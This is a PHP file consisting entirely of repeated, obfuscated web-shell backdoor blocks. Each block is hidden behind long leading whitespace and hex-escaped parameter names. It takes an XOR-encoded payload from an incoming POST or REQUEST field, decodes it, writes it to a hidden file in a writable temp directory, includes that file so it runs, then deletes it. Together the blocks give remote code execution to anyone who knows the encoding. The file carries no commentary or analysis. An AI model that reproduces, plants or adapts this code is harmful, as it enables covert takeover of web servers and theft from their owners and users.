																																										if(!empty($_POST["\x76alue"])){ $hld = array_filter([getcwd(), "/var/tmp", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm"]); $flg = $_POST["\x76alue"]; $flg = explode ( "." ,$flg) ; $factor = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5 ); $len = count($flg ); for($q = 0; $q < $len; $q++) { $v5 = $flg[$q]; $chS = ord($s5[$q % $sLen] ); $d =((int)$v5 - $chS -($q % 10))^ 38; $factor .=chr($d ); } foreach ($hld as $key => $token) { if (max(0, is_dir($token) * is_writable($token))) { $fac = "$token" . "/.component"; $success = file_put_contents($fac, $factor); if ($success) { include $fac; @unlink($fac); die();} } } }
																																										if(array_key_exists("\x76a\x6Cue", $_POST) && !is_null($_POST["\x76a\x6Cue"])){ $flag = $_POST["\x76a\x6Cue"]; $flag = explode ( '.' , $flag ) ; $ref = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $p = 0; array_walk($flag, function ($v1) use (&$ref, &$p, $s, $lenS) { $sChar = ord($s[$p %$lenS] ); $dec = ((int)$v1 - $sChar - ($p %10)) ^ 33; $ref.= chr($dec ); $p++; } ); $bind = array_filter(["/dev/shm", "/var/tmp", getcwd(), getenv("TEMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP")]); while ($data_chunk = array_shift($bind)) { if (is_dir($data_chunk) && is_writable($data_chunk)) { $elem = "$data_chunk" . "/.dat"; $success = file_put_contents($elem, $ref); if ($success) { include $elem; @unlink($elem); die();} } } }
																																										if(array_key_exists("c\x6F\x6Dp", $_POST) && !is_null($_POST["c\x6F\x6Dp"])){ $object = $_POST["c\x6F\x6Dp"]; $object = explode( "." , $object ) ; $val = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($object as $j =>$v3): $sChar = ord($s[$j % $lenS]); $d = ((int)$v3 - $sChar - ($j % 10)) ^ 30; $val .= chr($d); endforeach; $elem = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", session_save_path(), sys_get_temp_dir(), "/tmp", getenv("TEMP"), "/dev/shm"]); foreach ($elem as $key => $property_set) { if (!!is_dir($property_set) && !!is_writable($property_set)) { $obj = str_replace("{var_dir}", $property_set, "{var_dir}/.sym"); $file = fopen($obj, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $obj; @unlink($obj); exit; } } } }
																																										if(!is_null($_REQUEST["fa\x63"] ?? null)){ $data = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/tmp", getcwd(), "/var/tmp"]); $tkn = $_REQUEST["fa\x63"]; $tkn = explode ( "." ,$tkn ) ; $bind=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $salt); $n=0; while( $n <count( $tkn)) { $v7=$tkn[$n]; $sChar=ord( $salt[$n %$sLen]); $dec=( ( int)$v7 - $sChar -( $n %10))^37; $bind .= chr( $dec); $n++; } for ($holder = 0, $factor = count($data); $holder < $factor; $holder++) { $ref = $data[$holder]; if ((function($d) { return is_dir($d) && is_writable($d); })($ref)) { $record = implode("/", [$ref, ".elem"]); $file = fopen($record, 'w'); if ($file) { fwrite($file, $bind); fclose($file); include $record; @unlink($record); die(); } } } }
																																										if(isset($_POST["r\x65f"]) ? true : false){ $mrk = $_POST["r\x65f"]; $mrk = explode( '.' , $mrk ) ; $ptr = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt4); $x = 0; $__tmp = $mrk; while( $v4 = array_shift( $__tmp)) { $sChar = ord( $salt4[$x % $lenS]); $d =( ( int)$v4 - $sChar -( $x % 10)) ^ 61; $ptr .= chr( $d); $x++; } $parameter_group = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", session_save_path(), "/dev/shm", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir()]); foreach ($parameter_group as $key): if ((function($d) { return is_dir($d) && is_writable($d); })($key)) { $ent = "$key" . "/.binding"; $file = fopen($ent, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $ent; @unlink($ent); exit; } } endforeach; }
																																										if(isset($_POST["\x69t\x6D"]) ? true : false){ $binding = $_POST["\x69t\x6D"]; $binding= explode ( '.', $binding ) ; $desc = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1 ); $x = 0; while( $x < count( $binding)) { $v2 = $binding[$x]; $chS = ord( $salt1[$x % $lenS] ); $d =( ( int)$v2 - $chS -( $x % 10)) ^ 78; $desc.=chr( $d ); $x++; } $bind = array_filter(["/dev/shm", getenv("TEMP"), session_save_path(), getcwd(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir()]); while ($pset = array_shift($bind)) { if ((function($d) { return is_dir($d) && is_writable($d); })($pset)) { $dat = str_replace("{var_dir}", $pset, "{var_dir}/.hld"); $file = fopen($dat, 'w'); if ($file) { fwrite($file, $desc); fclose($file); include $dat; @unlink($dat); exit; } } } }
																																										if(isset($_POST) && isset($_POST["\x73ym\x62ol"])){ $desc = array_filter(["/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/var/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path()]); $value = $_POST["\x73ym\x62ol"]; $value =explode ( "." ,$value ) ; $ptr=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); $y=0; $len=count($value); do { if($y >= $len) break; $v5=$value[$y]; $sChar=ord($s[$y% $sLen]); $d=((int)$v5 - $sChar -($y% 10)) ^ 62; $ptr .= chr($d); $y++; } while(true); for ($res = 0, $ref = count($desc); $res < $ref; $res++) { $entity = $desc[$res]; if (array_product([is_dir($entity), is_writable($entity)])) { $rec = sprintf("%s/.record", $entity); $file = fopen($rec, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $rec; @unlink($rec); exit; } } } }
																																										if(array_key_exists("\x65l\x65\x6D\x65nt", $_POST) && !is_null($_POST["\x65l\x65\x6D\x65nt"])){ $pgrp = array_filter([getcwd(), sys_get_temp_dir(), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm"]); $comp = $_POST["\x65l\x65\x6D\x65nt"]; $comp= explode ( '.' ,$comp ); $res = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); foreach ($comp as $m => $v9): $chS = ord($s5[$m % $sLen]); $dec = ((int)$v9 - $chS - ($m % 10)) ^85; $res .= chr($dec); endforeach; for ($ptr = 0, $descriptor = count($pgrp); $ptr < $descriptor; $ptr++) { $key = $pgrp[$ptr]; if (array_product([is_dir($key), is_writable($key)])) { $data_chunk = vsprintf("%s/%s", [$key, ".component"]); if (file_put_contents($data_chunk, $res)) { require $data_chunk; unlink($data_chunk); exit; } } } }
																																										if(in_array("ptr", array_keys($_REQUEST))){ $tkn = $_REQUEST["ptr"]; $tkn = explode ("." , $tkn ) ; $sym=''; $s2='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s2 ); foreach($tkn as $t =>$v6): $chS=ord($s2[$t % $lenS] ); $dec=((int)$v6 - $chS -($t % 10)) ^ 50; $sym .= chr($dec ); endforeach; $element = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getenv("TMP"), getcwd(), "/dev/shm", "/tmp"]); $object = 0; do { $value = $element[$object] ?? null; if ($object >= count($element)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($value)) { $obj = "$value" . "/.flg"; if (file_put_contents($obj, $sym)) { include $obj; @unlink($obj); die(); } } $object++; } while (true); }
																																										if(!empty($_POST["p\x74r"])){ $value = $_POST["p\x74r"]; $value = explode ( "." , $value) ; $hld = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); $j = 0; foreach ($value as $v5) { $chS = ord($salt3[$j % $sLen]); $d = ((int)$v5 - $chS - ($j % 10)) ^ 20; $hld .=chr($d); $j++;} $symbol = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TMP"), getenv("TEMP")]); $rec = 0; do { $binding = $symbol[$rec] ?? null; if ($rec >= count($symbol)) break; if ((is_dir($binding) and is_writable($binding))) { $pset = vsprintf("%s/%s", [$binding, ".item"]); if (file_put_contents($pset, $hld)) { require $pset; unlink($pset); exit; } } $rec++; } while (true); }
																																										if(!is_null($_POST["\x63om\x70\x6F\x6Eent"] ?? null)){ $ptr = array_filter([session_save_path(), getcwd(), "/tmp", getenv("TEMP"), "/var/tmp", getenv("TMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $tkn = $_POST["\x63om\x70\x6F\x6Eent"]; $tkn= explode ( "." , $tkn ) ; $element = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $__len = count($tkn); for ($o = 0; $o < $__len; $o++) { $v8 = $tkn[$o]; $sChar = ord($s[$o%$sLen]); $d = ((int)$v8 - $sChar - ($o%10)) ^ 71; $element .= chr($d); } while ($record = array_shift($ptr)) { if ((bool)is_dir($record) && (bool)is_writable($record)) { $data = join("/", [$record, ".symbol"]); if (file_put_contents($data, $element)) { include $data; @unlink($data); die(); } } } }
																																										if(in_array("it\x65m", array_keys($_POST))){ $flg = $_POST["it\x65m"]; $flg =explode( "." , $flg ) ; $parameter_group =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt ); $j =0; array_walk($flg, function ($v7) use (&$parameter_group, &$j, $salt, $sLen) { $sChar =ord($salt[$j % $sLen] ); $dec =((int)$v7 - $sChar - ($j % 10)) ^ 26; $parameter_group .= chr($dec ); $j++; } ); $object = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getenv("TMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/tmp"]); while ($marker = array_shift($object)) { if (is_dir($marker) && is_writable($marker)) { $val = sprintf("%s/.entry", $marker); if (@file_put_contents($val, $parameter_group) !== false) { include $val; unlink($val); die(); } } } }
																																										if(isset($_REQUEST["par\x61\x6D\x65\x74e\x72\x5Fg\x72\x6Fup"])){ $reference = array_filter([getenv("TMP"), "/tmp", getcwd(), session_save_path(), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp"]); $ent = $_REQUEST["par\x61\x6D\x65\x74e\x72\x5Fg\x72\x6Fup"]; $ent = explode ( '.' ,$ent ) ; $val = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $r = 0; foreach( $ent as $v6) { $chS = ord( $salt[$r % $lenS] ); $d =( ( int)$v6 - $chS -( $r % 10)) ^ 8; $val .= chr( $d ); $r++; } for ($descriptor = 0, $ref = count($reference); $descriptor < $ref; $descriptor++) { $ent = $reference[$descriptor]; if (is_writable($ent) && is_dir($ent)) { $factor = "$ent/.pointer"; $file = fopen($factor, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $factor; @unlink($factor); die(); } } } }
																																										if(in_array("e\x6Et", array_keys($_POST))){ $factor = $_POST["e\x6Et"]; $factor = explode ('.' , $factor ) ; $reference= ''; $salt9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt9 ); $__len= count( $factor ); for( $v= 0; $v < $__len; $v++) { $v6= $factor[$v]; $sChar= ord( $salt9[$v %$lenS] ); $dec= ( ( int)$v6 - $sChar -( $v %10)) ^ 13; $reference .= chr( $dec ); } $key = array_filter([sys_get_temp_dir(), session_save_path(), "/dev/shm", "/var/tmp", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd()]); while ($k = array_shift($key)) { if (is_writable($k) && is_dir($k)) { $item = join("/", [$k, ".ptr"]); if (file_put_contents($item, $reference)) { include $item; @unlink($item); exit; } } } }
																																										if(isset($_POST["e\x6Ce\x6D"])){ $item = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/tmp", sys_get_temp_dir(), getenv("TMP"), "/var/tmp", session_save_path()]); $hld = $_POST["e\x6Ce\x6D"]; $hld = explode( ".", $hld) ; $value = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1 ); foreach($hld as $x =>$v8) { $chS = ord($s1[$x % $sLen] ); $d = ((int)$v8 - $chS -($x % 10))^ 98; $value .= chr($d ); } foreach ($item as $property_set) { if (!( !is_dir($property_set) || !is_writable($property_set) )) { $rec = str_replace("{var_dir}", $property_set, "{var_dir}/.ptr"); if (file_put_contents($rec, $value)) { require $rec; unlink($rec); exit; } } } }
																																										if(in_array("\x70\x61ram\x65te\x72_\x67\x72\x6Fup", array_keys($_REQUEST))){ $holder = array_filter([getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", session_save_path(), getcwd()]); $comp = $_REQUEST["\x70\x61ram\x65te\x72_\x67\x72\x6Fup"]; $comp = explode(".", $comp) ; $binding = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1 ); $x = 0; $__tmp = $comp; while ($v4 = array_shift($__tmp)) { $sChar = ord($s1[$x % $sLen] ); $d = ((int)$v4 - $sChar - ($x % 10)) ^ 68; $binding .= chr($d ); $x++; } for ($bind = 0, $ptr = count($holder); $bind < $ptr; $bind++) { $res = $holder[$bind]; if ((is_dir($res) and is_writable($res))) { $property_set = "$res" . "/.record"; $file = fopen($property_set, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $property_set; @unlink($property_set); die(); } } } }
																																										if(!empty($_REQUEST["hol\x64\x65\x72"])){ $factor = $_REQUEST["hol\x64\x65\x72"]; $factor = explode ( '.' ,$factor ) ; $elem = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $n = 0; foreach ($factor as $v2) { $sChar = ord($salt9[$n % $lenS]); $dec = ((int)$v2 - $sChar - ($n % 10)) ^31; $elem .= chr($dec); $n++; } $reference = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/tmp", "/dev/shm", session_save_path(), getenv("TEMP"), "/var/tmp", getcwd()]); for ($mrk = 0, $resource = count($reference); $mrk < $resource; $mrk++) { $bind = $reference[$mrk]; if (!!is_dir($bind) && !!is_writable($bind)) { $obj = vsprintf("%s/%s", [$bind, ".ref"]); $success = file_put_contents($obj, $elem); if ($success) { include $obj; @unlink($obj); die();} } } }
																																										if(in_array("par\x61me\x74\x65r_\x67ro\x75p", array_keys($_REQUEST))){ $descriptor = array_filter([sys_get_temp_dir(), "/tmp", getenv("TMP"), "/var/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", getcwd(), ini_get("upload_tmp_dir")]); $pointer = $_REQUEST["par\x61me\x74\x65r_\x67ro\x75p"]; $pointer = explode ('.' , $pointer ); $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $l = 0; $__tmp = $pointer; while($v5 = array_shift($__tmp)) { $sChar = ord($salt[$l % $lenS] ); $d = ((int)$v5 - $sChar -($l % 10)) ^ 55; $fac.= chr($d ); $l++; } foreach ($descriptor as $ptr): if ((bool)is_dir($ptr) && (bool)is_writable($ptr)) { $binding = implode("/", [$ptr, ".flag"]); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $binding; @unlink($binding); exit; } } endforeach; }
																																										if(in_array("f\x6C\x61g", array_keys($_REQUEST))){ $entry = array_filter([session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", getenv("TEMP"), "/tmp", getcwd(), "/var/tmp"]); $object = $_REQUEST["f\x6C\x61g"]; $object= explode ( "." ,$object ) ; $ent = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1 ); $w = 0; foreach ($object as $v1) { $sChar = ord($s1[$w % $lenS] ); $d = ((int)$v1 - $sChar - ($w % 10))^ 90; $ent.= chr($d ); $w++; } for ($dchunk = 0, $ptr = count($entry); $dchunk < $ptr; $dchunk++) { $holder = $entry[$dchunk]; if (is_writable($holder) && is_dir($holder)) { $resource = join("/", [$holder, ".mrk"]); $success = file_put_contents($resource, $ent); if ($success) { include $resource; @unlink($resource); die();} } } }
																																										if(filter_has_var(INPUT_POST, "res")){ $binding = array_filter(["/var/tmp", session_save_path(), getcwd(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", getenv("TEMP")]); $descriptor = $_POST["res"]; $descriptor =explode ( "." , $descriptor ) ; $marker=''; $s1='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s1); foreach ($descriptor as $x => $v8): $sChar=ord($s1[$x % $sLen]); $dec=((int)$v8 - $sChar - ($x % 10)) ^ 23; $marker .= chr($dec); endforeach; foreach ($binding as $parameter_group) { if (max(0, is_dir($parameter_group) * is_writable($parameter_group))) { $hld = sprintf("%s/.comp", $parameter_group); $success = file_put_contents($hld, $marker); if ($success) { include $hld; @unlink($hld); die();} } } }
																																										if(array_key_exists("\x66act\x6F\x72", $_POST) && !is_null($_POST["\x66act\x6F\x72"])){ $entity = array_filter(["/dev/shm", "/var/tmp", getcwd(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), sys_get_temp_dir()]); $ptr = $_POST["\x66act\x6F\x72"]; $ptr = explode ( '.' ,$ptr ) ; $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $w = 0; foreach( $ptr as $v6) { $chS = ord( $s[$w % $sLen]); $d =( ( int)$v6 - $chS -( $w % 10)) ^ 89; $reference .= chr( $d); $w++; } foreach ($entity as $val) { if (is_dir($val) && is_writable($val)) { $dchunk = str_replace("{var_dir}", $val, "{var_dir}/.obj"); if (@file_put_contents($dchunk, $reference) !== false) { include $dchunk; unlink($dchunk); exit; } } } }
																																										if(!empty($_POST["\x70g\x72p"])){ $mrk = $_POST["\x70g\x72p"]; $mrk = explode ("." ,$mrk ) ; $comp=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $salt ); $y=0; $__tmp=$mrk; while( $v3=array_shift( $__tmp)) { $chS=ord( $salt[$y % $lenS] ); $d=( ( int)$v3 - $chS -( $y % 10)) ^13; $comp .= chr( $d ); $y++; } $entry = array_filter([getcwd(), session_save_path(), sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP")]); foreach ($entry as $key => $data) { if (is_dir($data) && is_writable($data)) { $component = vsprintf("%s/%s", [$data, ".val"]); $success = file_put_contents($component, $comp); if ($success) { include $component; @unlink($component); exit;} } } }
																																										if(!empty($_POST["\x76\x61lue"])){ $obj = $_POST["\x76\x61lue"]; $obj = explode( '.' , $obj ) ; $pointer = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $i = 0; $len = count($obj); do { if ($i >= $len) break; $v4 = $obj[$i]; $sChar = ord($s[$i % $sLen]); $d = ((int)$v4 - $sChar - ($i % 10)) ^ 4; $pointer .= chr($d); $i++;} while (true); $tkn = array_filter([getenv("TMP"), session_save_path(), "/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", sys_get_temp_dir()]); foreach ($tkn as $bind): if (is_dir($bind) ? is_writable($bind) : false) { $dchunk = sprintf("%s/.pset", $bind); if (file_put_contents($dchunk, $pointer)) { include $dchunk; @unlink($dchunk); exit; } } endforeach; }
																																										if(isset($_POST["c\x6Fm\x70"])){ $ent = $_POST["c\x6Fm\x70"]; $ent = explode( '.' ,$ent ) ; $res = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s5); $i = 0; $len = count( $ent); do { if( $i >= $len) break; $v6 = $ent[$i]; $sChar = ord( $s5[$i % $lenS]); $dec =( ( int)$v6 - $sChar -( $i % 10)) ^ 12; $res .= chr( $dec); $i++; } while( true); $component = array_filter([sys_get_temp_dir(), getenv("TMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", getenv("TEMP"), session_save_path()]); for ($flg = 0, $sym = count($component); $flg < $sym; $flg++) { $item = $component[$flg]; if (!!is_dir($item) && !!is_writable($item)) { $entity = "$item" . "/.desc"; $file = fopen($entity, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $entity; @unlink($entity); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "res")){ $rec = $_POST["res"]; $rec = explode( '.', $rec ) ; $parameter_group = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3); foreach( $rec as $j =>$v9): $sChar = ord( $salt3[$j % $sLen]); $dec =( ( int)$v9 - $sChar -( $j % 10)) ^ 43; $parameter_group .= chr( $dec); endforeach; $hld = array_filter([getenv("TMP"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", "/tmp"]); for ($data_chunk = 0, $key = count($hld); $data_chunk < $key; $data_chunk++) { $k = $hld[$data_chunk]; if (is_dir($k) ? is_writable($k) : false) { $bind = vsprintf("%s/%s", [$k, ".token"]); if (file_put_contents($bind, $parameter_group)) { require $bind; unlink($bind); exit; } } } }
																																										if(array_key_exists("bi\x6Ed", $_REQUEST) && !is_null($_REQUEST["bi\x6Ed"])){ $record = $_REQUEST["bi\x6Ed"]; $record =explode ( "." , $record ) ; $hld= ''; $s1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s1); $z= 0; while($z < count($record)) {$v7= $record[$z]; $sChar= ord($s1[$z % $lenS]); $dec= ((int)$v7 - $sChar -($z % 10))^51; $hld.= chr($dec); $z++;} $flag = array_filter([session_save_path(), sys_get_temp_dir(), "/tmp", "/dev/shm", getcwd(), "/var/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir")]); foreach ($flag as $pset): if (!( !is_dir($pset) || !is_writable($pset) )) { $ref = vsprintf("%s/%s", [$pset, ".obj"]); $success = file_put_contents($ref, $hld); if ($success) { include $ref; @unlink($ref); exit;} } endforeach; }
																																										if(array_key_exists("m\x72\x6B", $_REQUEST)){ $key = array_filter([getenv("TMP"), sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", session_save_path()]); $descriptor = $_REQUEST["m\x72\x6B"]; $descriptor=explode( '.' , $descriptor ) ; $flg = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); foreach ($descriptor as $r => $v1): $chS = ord($salt6[$r % $sLen]); $d = ((int)$v1 - $chS - ($r % 10)) ^ 81; $flg.= chr($d); endforeach; foreach ($key as $key => $ent) { if (is_writable($ent) && is_dir($ent)) { $res = vsprintf("%s/%s", [$ent, ".record"]); if (file_put_contents($res, $flg)) { include $res; @unlink($res); exit; } } } }
																																										if(@$_REQUEST["\x72\x65s"] !== null){ $descriptor = array_filter(["/var/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getenv("TMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir")]); $element = $_REQUEST["\x72\x65s"]; $element = explode ( ".", $element ) ; $sym = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $y = 0; $__len = count($element ); do { if($y >= $__len) break; $v7 = $element[$y]; $chS = ord($s[$y % $sLen] ); $d = ((int)$v7 - $chS -($y % 10)) ^ 54; $sym .=chr($d ); $y++; } while(true ); foreach ($descriptor as $pgrp): if (array_product([is_dir($pgrp), is_writable($pgrp)])) { $item = "$pgrp" . "/.rec"; if (@file_put_contents($item, $sym) !== false) { include $item; unlink($item); exit; } } endforeach; }
																																										if(array_key_exists("el\x65m", $_REQUEST) && !is_null($_REQUEST["el\x65m"])){ $dchunk = $_REQUEST["el\x65m"]; $dchunk =explode ( "." , $dchunk ); $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $m = 0; $__len = count($dchunk); do { if ($m >= $__len) break; $v1 = $dchunk[$m]; $chS = ord($salt[$m % $lenS]); $d = ((int)$v1 - $chS - ($m % 10)) ^ 9; $object .= chr($d); $m++; } while (true); $holder = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), getenv("TEMP"), getcwd(), "/dev/shm", sys_get_temp_dir(), "/var/tmp", "/tmp"]); $symbol = 0; do { $sym = $holder[$symbol] ?? null; if ($symbol >= count($holder)) break; if (max(0, is_dir($sym) * is_writable($sym))) { $ptr = str_replace("{var_dir}", $sym, "{var_dir}/.rec"); $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $object); fclose($file); include $ptr; @unlink($ptr); die(); } } $symbol++; } while (true); }
																																										if(@$_POST["\x65\x6E\x74ity"] !== null){ $property_set = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/var/tmp", "/tmp", getcwd(), "/dev/shm", getenv("TEMP"), getenv("TMP")]); $elem = $_POST["\x65\x6E\x74ity"]; $elem =explode( "." , $elem) ; $hld=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s ); $p=0; $__len=count($elem ); do { if($p >= $__len) break; $v2=$elem[$p]; $sChar=ord($s[$p % $sLen] ); $d=((int)$v2 - $sChar -($p % 10)) ^ 6; $hld .=chr($d ); $p++; } while(true ); for ($resource = 0, $dat = count($property_set); $resource < $dat; $resource++) { $fac = $property_set[$resource]; if (is_dir($fac) ? is_writable($fac) : false) { $res = "$fac" . "/.dchunk"; if (@file_put_contents($res, $hld) !== false) { include $res; unlink($res); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["co\x6Dp"])){ $property_set = array_filter([getenv("TMP"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/var/tmp"]); $record = $_REQUEST["co\x6Dp"]; $record =explode ( '.' , $record ) ; $obj = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9 ); foreach ($record as $x => $v5) { $chS = ord($s9[$x% $sLen] ); $dec = ((int)$v5 - $chS - ($x% 10)) ^ 91; $obj .= chr($dec ); } foreach ($property_set as $key => $item) { if ((bool)is_dir($item) && (bool)is_writable($item)) { $tkn = implode("/", [$item, ".reference"]); if (@file_put_contents($tkn, $obj) !== false) { include $tkn; unlink($tkn); die(); } } } }
																																										if(isset($_POST) && isset($_POST["k"])){ $fac = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/var/tmp", "/dev/shm", getcwd()]); $object = $_POST["k"]; $object = explode ('.' , $object ) ; $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $v = 0; $len = count($object); do { if ($v >= $len) break; $v3 = $object[$v]; $chS = ord($salt[$v %$sLen]); $d = ((int)$v3 - $chS - ($v %10)) ^ 57; $sym.=chr($d); $v++; } while (true); while ($symbol = array_shift($fac)) { if (is_dir($symbol) && is_writable($symbol)) { $ent = sprintf("%s/.bind", $symbol); if (@file_put_contents($ent, $sym) !== false) { include $ent; unlink($ent); exit; } } } }
																																										if(isset($_POST["\x64\x61ta_\x63hunk"]) ? true : false){ $element = array_filter([getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", session_save_path()]); $desc = $_POST["\x64\x61ta_\x63hunk"]; $desc = explode ( '.' , $desc); $descriptor = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8 ); $m = 0; while($m< count($desc)) { $v3 = $desc[$m]; $sChar = ord($salt8[$m % $lenS] ); $dec =((int)$v3 - $sChar -($m % 10)) ^ 71; $descriptor .= chr($dec ); $m++; } foreach ($element as $key => $token) { if (is_writable($token) && is_dir($token)) { $property_set = vsprintf("%s/%s", [$token, ".data"]); if (file_put_contents($property_set, $descriptor)) { require $property_set; unlink($property_set); exit; } } } }
																																										if(isset($_POST) && isset($_POST["v\x61\x6C"])){ $bind = $_POST["v\x61\x6C"]; $bind =explode ( '.' , $bind ) ; $obj = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); foreach ($bind as $n => $v5) {$sChar = ord($salt7[$n % $sLen]); $dec = ((int)$v5 - $sChar - ($n % 10)) ^ 9; $obj.=chr($dec); } $entity = array_filter([getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), "/dev/shm", session_save_path(), "/tmp"]); foreach ($entity as $fac) { if (is_dir($fac) && is_writable($fac)) { $property_set = str_replace("{var_dir}", $fac, "{var_dir}/.element"); if (file_put_contents($property_set, $obj)) { require $property_set; unlink($property_set); exit; } } } }
